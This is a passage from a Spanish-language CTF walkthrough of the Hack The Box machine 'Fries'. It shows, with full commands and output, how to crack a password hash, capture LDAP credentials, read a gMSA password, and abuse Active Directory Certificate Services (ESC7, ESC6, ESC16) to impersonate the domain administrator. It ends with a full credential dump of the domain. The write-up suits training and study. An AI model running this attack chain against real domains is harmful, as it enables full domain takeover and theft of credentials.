│   │   ├── gc.log.6
│   │   ├── gc.log.7
│   │   ├── gc.log.8
│   │   ├── gc.log.9
│   │   └── PWM.log
│   ├── PwmConfiguration.xml
│   └── temp
└── pwm-workpath

8 directories, 21 files
❯

Dentro de esta identificamos un hash de contrasena y un usuario.

# cat PwmConfiguration.xml 
<properties type="config">
   <property key="configIsEditable">true</property>
   <property key="configEpoch">0</property>
   <property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
</properties>
# cat PwmConfiguration.xml |grep User
<value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>

Crack The Hash

Crackeamos le hash con hashcat.

PS C:\Users\user\Documents\github\hashcat-7.1.2> ./hashcat.exe -m3200 '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' rockyou.txt
hashcat (v7.1.2) starting

# [... cut ...]

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0N...ZexGyG
Time.Started.....: Thu Nov 27 18:26:19 2025 (0 secs)
Time.Estimated...: Thu Nov 27 18:26:19 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:    35961 H/s (6.11ms) @ Accel:1 Loops:32 Thr:11 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 22440/14344385 (0.16%)
Rejected.........: 0/22440 (0.00%)
Restore.Point....: 22176/14344385 (0.15%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-16
Candidate.Engine.: Device Generator
Candidates.#01...: 061087 -> NATALIE
Hardware.Mon.#01.: Temp: 35c Fan:  0% Util:100% Core:2790MHz Mem:8251MHz Bus:8

Started: Thu Nov 27 18:26:13 2025
Stopped: Thu Nov 27 18:26:19 2025
PS C:\Users\user\Documents\github\hashcat-7.1.2>

PWM Access

La contrasena nos permite acceder a pwm.

LDAP Creds

Al igual que Authority - HTB obtuvimos la contrasena de svc_infra tras cambiar la configuracion de LDAP para capturar el hash a traves de responder.

responder muestra en texto plano la contrasena de svc_infra.

[+] Listening for events...

[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting SSL server on port 443, check permissions or other servers running.
[LDAP] Cleartext Client   : 10.10.11.96
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb

Las credenciales nos dan acceso por ldap y smb.

❯ netexec ldap fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
LDAP        10.10.11.96     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96     389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
❯ netexec smb fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
SMB         10.10.11.96     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.10.11.96     445    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
❯

Bloodhound

Ejecutamos el modulo bloodhound de netexec.

❯ nxc ldap fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --bloodhound --collection All --dns-server 10.10.11.96
LDAP        10.10.11.96     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96     389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
LDAP        10.10.11.96     389    DC01             Resolved collection methods: localadmin, rdp, trusts, container, objectprops, dcom, acl, group, psremote, session
LDAP        10.10.11.96     389    DC01             Done in 0M 18S
LDAP        10.10.11.96     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.96_2025-11-27_185040_bloodhound.zip
❯

Creamos un wordlist con los usuarios del dominio.

❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > adusers.txt
❯ wc -l adusers.txt
18 adusers.txt
❯

Users

Existen 16 usuarios en el dominio.

Remote Managmenet Users

Trece usuarios pueden acceder por WinRM

Svc_infra

Este usuario puede realizar la lectura de contrasena GMSA de GMSA_CA_PROD$.

Infra Managers

Infra managers tiene tres miembros.

Service Account Managers

Vemos el grupo Service Accounts Managers con diez miembros.

OU Restricted Admins

El OU Restricted Admins contiene estos dos ultimos grupos mencionados.

User - gMSA_CA_prod$

Ejecutamos netexec indicando --gmsa para la lectura de la contrasena gMSA para GMSA_CA_PROD. Este muestra el hash NTLM de este usuario.

❯ nxc ldap fries.htb -u svc_infra -p m6tneOMAh5p0wQ0d --gmsa
LDAP        10.10.11.96     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96     389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
LDAP        10.10.11.96     389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.96     389    DC01             Account: gMSA_CA_prod$        NTLM: fc20b3d3ec179c5339ca59fbefc18f4a     PrincipalsAllowedToReadPassword: svc_infra
❯

Este usuario pertenece al grupo Remote Managmenet Users por lo que puede acceder por WinRM. Solicitamos un ticket para este usuario.

❯ faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" impacket-getTGT -dc-ip 10.10.11.96 fries.htb/gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in gMSA_CA_prod$.ccache
❯

evil-winrm nos permitio obtener una shell.

❯ KRB5CCNAME=gMSA_CA_prod$.ccache faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC01.FRIES.HTB -r fries.htb
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> whoami
fries\gmsa_ca_prod$
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

Privesc - ESC7 + ESC6 + ESC16

Ejecutamos Certify en la maquina, indicando enumeracion de plantillas vulnerables al usuario actual (gMSA_CA_prod). Los permisos para el usuario en el Certificate Authority indican ESC7.

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> ./Certify2.0.exe enum-templates --current-user --filter-vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=fries,DC=htb'
[*] Classifying vulnerabilities in the context of the current user ('FRIES\gMSA_CA_prod$') and its unrolled groups.
[X] AuthWithoutChannelBinding: did not receive an NTLM message in HTTP response.
[X] AuthWithoutChannelBinding: did not receive an NTLM message in HTTP response.

[*] Listing info about the enterprise certificate authority 'fries-DC01-CA'

    Enterprise CA Name            : fries-DC01-CA
    DNS Hostname                  : DC01.fries.htb
    FullName                      : DC01.fries.htb\fries-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=fries-DC01-CA, DC=fries, DC=htb
    Cert Thumbprint               : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
    Cert Serial                   : 26117C1FFA5705AF443B7E82E8C639A9
    Cert Start Date               : 11/17/2025 9:39:18 PM
    Cert End Date                 : 5/19/3024 7:11:46 AM
    Cert Chain                    : CN=fries-DC01-CA,DC=fries,DC=htb
    User Specifies SAN            : Disabled
    RPC Request Encryption        : Enabled
    Vulnerabilities
      ESC7                        : The CA has insecure delegated security roles or permissions.
    CA Permissions
      Owner: BUILTIN\Administrators             S-1-5-32-544

      Access Rights                                     Principal
      Deny   ManageCertificates                         FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Deny   ManageCertificates                         FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Deny   ManageCertificates                         FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
      Allow  Enroll                                     NT AUTHORITY\Authenticated Users   S-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators             S-1-5-32-544
      Allow  ManageCA, ManageCertificates               FRIES\Domain Admins                S-1-5-21-858338346-3861030516-3975240472-512
      Allow  Enroll                                     FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Allow  Enroll                                     FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Allow  ManageCA, ManageCertificates               FRIES\Enterprise Admins            S-1-5-21-858338346-3861030516-3975240472-519
      Allow  ManageCA, Enroll                           FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
    Enrollment Agent Restrictions : None

[+] No certificates templates found with the current filter parameters.

Certify completed in 00:00:28.2933985
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

Enable ESC6 + ESC16

Se describen distintos vectores de ataque para ESC7, se indica habilitar ESC6, ESC11 y ESC16. Habilitamos ESC6 y ESC16 mediante las flags: --esc6, --esc16. En este caso se ignoro ESC11.

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> ./Certify2.0.exe manage-ca --ca DC01.fries.htb\fries-DC01-CA --esc6 --esc16

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Manage a certificate authority

[*] Attempting to toggle EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6) on the CA.
[*] The EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set, toggling it on.
[*] Successfully set the EditFlags configuration on the CA.

[*] Attempting to toggle szOID_NTDS_CA_SECURITY_EXT in the DisableExtensionList attribute (ESC16) on the CA.
[*] The szOID_NTDS_CA_SECURITY_EXT extension does not exist in DisableExtensionList, adding it.
[*] Successfully set the DisableExtensionList configuration on the CA.

[*] Attempting to restart the CA service.
[*] Successfully stopped the CA service.
[*] Successfully restarted the CA service.

Certify completed in 00:00:00.5589769
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

Tras listar plantillas vulnerables nuevamente este indica ESC6 y ESC16.

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> ./Certify2.0.exe enum-templates --current-user --filter-vulnerable
# [... cut ...]

[*] Listing info about the enterprise certificate authority 'fries-DC01-CA'

    Enterprise CA Name            : fries-DC01-CA
    DNS Hostname                  : DC01.fries.htb
    FullName                      : DC01.fries.htb\fries-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=fries-DC01-CA, DC=fries, DC=htb
    Cert Thumbprint               : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
    Cert Serial                   : 26117C1FFA5705AF443B7E82E8C639A9
    Cert Start Date               : 11/17/2025 9:39:18 PM
    Cert End Date                 : 5/19/3024 7:11:46 AM
    Cert Chain                    : CN=fries-DC01-CA,DC=fries,DC=htb
    User Specifies SAN            : Enabled
    RPC Request Encryption        : Enabled
    Disabled Extensions           : <unknown> (1.3.6.1.4.1.311.25.2)
    Vulnerabilities
      ESC6                        : The CA allows enrollees to specify SANs.
      ESC7                        : The CA has insecure delegated security roles or permissions.
      ESC16                       : The CA has disabled the security extension.
    CA Permissions
      Owner: BUILTIN\Administrators             S-1-5-32-544

      Access Rights                                     Principal
      Deny   ManageCertificates                         FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Deny   ManageCertificates                         FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Deny   ManageCertificates                         FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
      Allow  Enroll                                     NT AUTHORITY\Authenticated Users   S-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators             S-1-5-32-544
      Allow  ManageCA, ManageCertificates               FRIES\Domain Admins                S-1-5-21-858338346-3861030516-3975240472-512
      Allow  Enroll                                     FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Allow  Enroll                                     FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Allow  ManageCA, ManageCertificates               FRIES\Enterprise Admins            S-1-5-21-858338346-3861030516-3975240472-519
      Allow  ManageCA, Enroll                           FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
    Enrollment Agent Restrictions : None

[+] No certificates templates found with the current filter parameters.

Certify completed in 00:00:27.6657352
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

ESC6 + ESC16

Ahora con ESC6 y ESC16 habilitado podemos realizar la explotacion. Iniciando habilitando la plantilla User.

❯ certipy-ad ca -ca 'fries-DC01-CA' -enable-template User -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip dc01.fries.htb -ns 10.10.11.96 -target fries.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'User' on 'fries-DC01-CA'
❯

Obtuvimos el SID del usuario administrator.

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Get-ADUser -Identity Administrator


DistinguishedName : CN=Administrator,CN=Users,DC=fries,DC=htb
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : fabf5fff-cdc8-49ff-826d-058a95c736a5
SamAccountName    : Administrator
SID               : S-1-5-21-858338346-3861030516-3975240472-500
Surname           :
UserPrincipalName :



*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

El usuario gMSA_CA_prod no puede realizar la explotacion ya que no tiene permisos en la plantilla User.

❯ certipy-ad req -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -target dc01.fries.htb -template User -upn administrator@fries.htb -sid S-1-5-21-858338346-3861030516-3975240472-500 -dc-ip 10.10.11.96 -ns 10.10.11.96
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 50
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): 
[-] Failed to request certificate
❯

Para ello agregamos al usuario svc_infra como officer para no depender de los permisos de gMSA_CA_prod.

❯ certipy-ad ca -ca 'fries-DC01-CA' -add-officer svc_infra -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip dc01.fries.htb -ns 10.10.11.96 -target fries.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'
❯

Realizamos la explotacion con este usuario, solicitando un certificado como si fueramos el usuario administrator (ESC6).

❯ certipy-ad req -u svc_infra -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -target dc01.fries.htb -template User -upn administrator@fries.htb -sid S-1-5-21-858338346-3861030516-3975240472-500 -dc-ip 10.10.11.96 -ns 10.10.11.96
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 54
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
❯

Finalmente nos autenticamos con el certificado logrando obtener el hash del usuario.

❯ faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.96
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@fries.htb'
[*]     SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Using principal: 'administrator@fries.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748
❯

# Certify found ESC7
./Certify2.0.exe enum-templates --current-user --filter-vulnerable

# ESC7
# Enable ESC6 + ESC16 via ESC7
./Certify2.0.exe manage-ca --ca DC01.fries.htb\fries-DC01-CA --esc6 --esc16

# ESC6 Exploit
# enable Template `User`
certipy-ad -debug ca -ca 'fries-DC01-CA' -enable-template User -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip dc01.fries.htb -ns 10.10.11.96 -target fries.htb 

# User gMSA_CA_prod cannot exploit ESC6 (X)
# instead add officer `svc_infra` via gmsa_ca_prod
certipy-ad -debug ca -ca 'fries-DC01-CA' -add-officer svc_infra -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip dc01.fries.htb -ns 10.10.11.96 -target fries.htb 

# req a certificate via svc_infra (officer now) impersonating administrator
certipy-ad -debug req -u svc_infra -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -target dc01.fries.htb -template User -upn administrator@fries.htb -sid S-1-5-21-858338346-3861030516-3975240472-500 -dc-ip 10.10.11.96 -ns 10.10.11.96

# req as administrator
faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.96

Shell

Ejecutamos evil-winrm-py con el hash del usuario logrando acceder como administrator y realizar la lectura de la flag root.txt.

❯ evil-winrm-py -u administrator -H a773cb05d79273299a684a23ede56748 -i fries.htb
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'fries.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
fries\administrator
evil-winrm-py PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
3ddf19192fab6715220da97a2eb739f9
evil-winrm-py PS C:\Users\Administrator\Documents>

Loot

Realizamos dump de las hashes con impacket-secretdumps.

❯ impacket-secretsdump administrator@dc01.fries.htb -hashes :a773cb05d79273299a684a23ede56748
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x0eca5297326605c6a979bc701a8a3311
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
FRIES\DC01$:aes256-cts-hmac-sha1-96:527b23aa1d7843b4395fa230a2a82d8ff832ef3ce4d1c7353e07afbf7c0eaf9b
FRIES\DC01$:aes128-cts-hmac-sha1-96:d099bfdc66902ba48478afd138713802
FRIES\DC01$:des-cbc-md5:7acd8aba20548001
FRIES\DC01$:plain_password_hex:e86c16dfd5d02641d95cb0a586e02a7a27a8704c694704b1453cb8b846b2fef9fefa601283b2c486a3719525644ce338e43fd1d551e85064b65914e1fd9844769ceefccd915e4136686c9892e05958991e11ee56b8b3ff242da97394d875a509614923e0de6a3ec3f4e3b6fae7f7618e72b216c7d8964aa515178fc19988bf039b3f10202797d8e487e698e3d6a0384ac14256e077241f7001a43e53cc7c734d30c2e9a97a3db0a4ce7a949b76c292a1238589cc833f6a72575fe6a0c906ba69fa0bdb3d1dd2ff1e18b635b9178f0f9f2f7418cf94279b2eb10ee568ab3bb33e75adde59691cb9e6c5ad07b76f132075
FRIES\DC01$:aad3b435b51404eeaad3b435b51404ee:ba380858b63611eaadb906e8e5b55e3e:::
[*] DefaultPassword 
administrator:vEGXjJswOEpy0bWd
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x36661c4ae29c5cc6f14e04e11b9917141d0a25d2
dpapi_userkey:0x1a3b6b43a269d3f3861eafed3df2f372bbbdfea5
[*] NL$KM 
 0000   F7 74 4D 48 CE 91 CA C7  90 76 3C 18 BB CB 07 A1   .tMH.....v<.....
 0010   F9 1D AD 37 0B 79 00 CF  90 E4 03 F2 FA 76 3A 9D   ...7.y.......v:.
 0020   FD 07 9F 4B A3 F6 7D 8C  C7 B9 B9 16 12 BB 74 11   ...K..}.......t.
 0030   A0 6C D2 4E F5 8B 97 77  7C 86 F5 0A 85 78 60 80   .l.N...w|....x`.
NL$KM:f7744d48ce91cac790763c18bbcb07a1f91dad370b7900cf90e403f2fa763a9dfd079f4ba3f67d8cc7b9b91612bb7411a06cd24ef58b97777c86f50a85786080
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce86e3842ffc9a775d2a356c60eac9c3:::
fries.htb\w.earl:2613:aad3b435b51404eeaad3b435b51404ee:ee2e704309cf4a26a4686a9d56489bf4:::
fries.htb\d.cooper:2614:aad3b435b51404eeaad3b435b51404ee:50232f4444bc8fd6cfda4b3e1b715663:::
fries.htb\b.horne:2615:aad3b435b51404eeaad3b435b51404ee:9cead10842a333fa049d4bc65cc55865:::
fries.htb\b.briggs:2616:aad3b435b51404eeaad3b435b51404ee:cf1ec47b3cf4e869d5c8b7138c07bae4:::
fries.htb\s.johnson:2617:aad3b435b51404eeaad3b435b51404ee:6e34ce1188061a026b8fb680d4a0ec9e:::
fries.htb\j.hurley:2618:aad3b435b51404eeaad3b435b51404ee:e3fa3f2a91ee7f8451fd1d0338e65355:::
fries.htb\h.truman:2619:aad3b435b51404eeaad3b435b51404ee:f9ac987d61cb1cf5649f82bc52778c3e:::
fries.htb\d.lynch:2620:aad3b435b51404eeaad3b435b51404ee:327641bc7f835d4be5f7dd5e602e8df4:::
fries.htb\l.palmer:2621:aad3b435b51404eeaad3b435b51404ee:1d44c7eb22b8c76b072f83fb07a56af3:::
fries.htb\l.johnson:2622:aad3b435b51404eeaad3b435b51404ee:a191c320a175dbe32cba7c58ede45ec7:::
fries.htb\h.jennings:2623:aad3b435b51404eeaad3b435b51404ee:b36354d4de8b39c31e13c950e969fbab:::
fries.htb\svc_infra:3601:aad3b435b51404eeaad3b435b51404ee:3bf3a1986ea9ae5b54a5725847a2adcc:::
fries.htb\d.wilson:5601:aad3b435b51404eeaad3b435b51404ee:b97330f3044941930b3667fa9888d5e3:::
fries.htb\m.hannigan:5602:aad3b435b51404eeaad3b435b51404ee:e2c1ce7011b7564d594367b06ca2428c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:ba380858b63611eaadb906e8e5b55e3e:::
gMSA_CA_prod$:1104:aad3b435b51404eeaad3b435b51404ee:fc20b3d3ec179c5339ca59fbefc18f4a:::
FRIES.HTB\WEB$:4601:aad3b435b51404eeaad3b435b51404ee:61e3599900d7a81c373bcbaaa755bdb2:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6d4a7749effdd00cdbb6370c3cbf3601711549ca661b4237092a8a9bbe388f45
Administrator:aes128-cts-hmac-sha1-96:990dfa267246b2a64b348bcd6d19ce96
Administrator:des-cbc-md5:a220b35b91791c5d
krbtgt:aes256-cts-hmac-sha1-96:8024081dbb5a45e076560c57225cdd92bf7483d264d97d0759a1b428a9169992
krbtgt:aes128-cts-hmac-sha1-96:47b9de65aa3fbd44e6b73de70735c46a
krbtgt:des-cbc-md5:8c9bdac2d9292683
fries.htb\w.earl:aes256-cts-hmac-sha1-96:8a5284e69f97b1208b2ed58684b6b71a8a879c537644e9e994905ae0aa189df6
fries.htb\w.earl:aes128-cts-hmac-sha1-96:de03f9891f0a7aebfa187f5eee1a5ebd
fries.htb\w.earl:des-cbc-md5:8aa1bcf76219a8f8
fries.htb\d.cooper:aes256-cts-hmac-sha1-96:783927c75e3ee32612281ada8aa7370827257d06fd992ee3f7e05f71846a0ce1
fries.htb\d.cooper:aes128-cts-hmac-sha1-96:ba1bcf1ac2e3875908c26c01cbd90c68
fries.htb\d.cooper:des-cbc-md5:2c61e6a2fec76e91
fries.htb\b.horne:aes256-cts-hmac-sha1-96:97199b4218cb3339a4caabd929522fd9198b72af621b75188351c8ba58567c31
fries.htb\b.horne:aes128-cts-hmac-sha1-96:3299025c40f36773177bd34290931ba8
fries.htb\b.horne:des-cbc-md5:d64686cd4ceafd85
fries.htb\b.briggs:aes256-cts-hmac-sha1-96:fdd89f03930a78eff18b7dc6afe911cfd0616998c93ae08c802ff3197c8cedf9
fries.htb\b.briggs:aes128-cts-hmac-sha1-96:8bf0d35acf2f668e6a7484b87edc5dd9
fries.htb\b.briggs:des-cbc-md5:02136db0c870199e
fries.htb\s.johnson:aes256-cts-hmac-sha1-96:473622daf28874b68824becdc8e778dc148017923f27130364ac2edd722e3762
fries.htb\s.johnson:aes128-cts-hmac-sha1-96:e7edc846c6884aa60516b4dbdebaf612
fries.htb\s.johnson:des-cbc-md5:f437a461d66e6498
fries.htb\j.hurley:aes256-cts-hmac-sha1-96:44c2feb99290eba8ded6ecb4c4ca4791017841a5195b0c78ba1e70261d51cfe3
fries.htb\j.hurley:aes128-cts-hmac-sha1-96:9c31539d83c1f979366946f36e50215d
fries.htb\j.hurley:des-cbc-md5:6dce49df023dc19e
fries.htb\h.truman:aes256-cts-hmac-sha1-96:c654622ad69644c197fa6d42ee2222cacbd9334d32ffe018af47018222a0db65
fries.htb\h.truman:aes128-cts-hmac-sha1-96:ba0d7f48f4aac22cd98eb038fbbee40a
fries.htb\h.truman:des-cbc-md5:232fc8b5cbe59e32
fries.htb\d.lynch:aes256-cts-hmac-sha1-96:15648c3700d55a91218ad3e0d927cff30788979664b61f50e58108d5ae6cb9ad
fries.htb\d.lynch:aes128-cts-hmac-sha1-96:6ee5c1669b833187052c1e9d650dc3ab
fries.htb\d.lynch:des-cbc-md5:1c3e6e135279ef9d
fries.htb\l.palmer:aes256-cts-hmac-sha1-96:23876aebc5deb55d80ace63683c0ed76a142af6537437759ec95524072819973
fries.htb\l.palmer:aes128-cts-hmac-sha1-96:e1b3b34d64a5dbcc28d366e6e1793be3
fries.htb\l.palmer:des-cbc-md5:da1fcbc28062d592
fries.htb\l.johnson:aes256-cts-hmac-sha1-96:a420111fe04f501c5bb85f87534f57b44c46b2963b79dff07e9e223ce3302536
fries.htb\l.johnson:aes128-cts-hmac-sha1-96:af8a2406b600b326d274b4e55f5bef82
fries.htb\l.johnson:des-cbc-md5:b6c2d3b33bb0a2ad
fries.htb\h.jennings:aes256-cts-hmac-sha1-96:acd573968fb3c6b0492cc378d4aaf18af35cd5d40050f90901bcb7637cd7a676
fries.htb\h.jennings:aes128-cts-hmac-sha1-96:11822fdb8e0ec44eb0cc71f154595edf
fries.htb\h.jennings:des-cbc-md5:ea6240fdf48f1557
fries.htb\svc_infra:aes256-cts-hmac-sha1-96:2773f10c584103fa5d67d23469a9a3ff040b01bcac846708b828fc9cbcb8de61
fries.htb\svc_infra:aes128-cts-hmac-sha1-96:a7ab3a2b66e4f2c4c0407824c1eaa99b
fries.htb\svc_infra:des-cbc-md5:0de651e6e99e899b
fries.htb\d.wilson:aes256-cts-hmac-sha1-96:346e2f4c8044dd7c3935d0489fbef78bb641869b6809c107654437005b461abc
fries.htb\d.wilson:aes128-cts-hmac-sha1-96:9c74335697b0f9ed784512f994b6e713
fries.htb\d.wilson:des-cbc-md5:ae4a6180c8a707e0
fries.htb\m.hannigan:aes256-cts-hmac-sha1-96:0c4fcbc63d883cd10753240528311d70aadb89f6cea9f0f1cd31af2f7d1e9ec9
fries.htb\m.hannigan:aes128-cts-hmac-sha1-96:b24a332ab365af90009123c6fe6073aa
fries.htb\m.hannigan:des-cbc-md5:d9b67f40161c1025
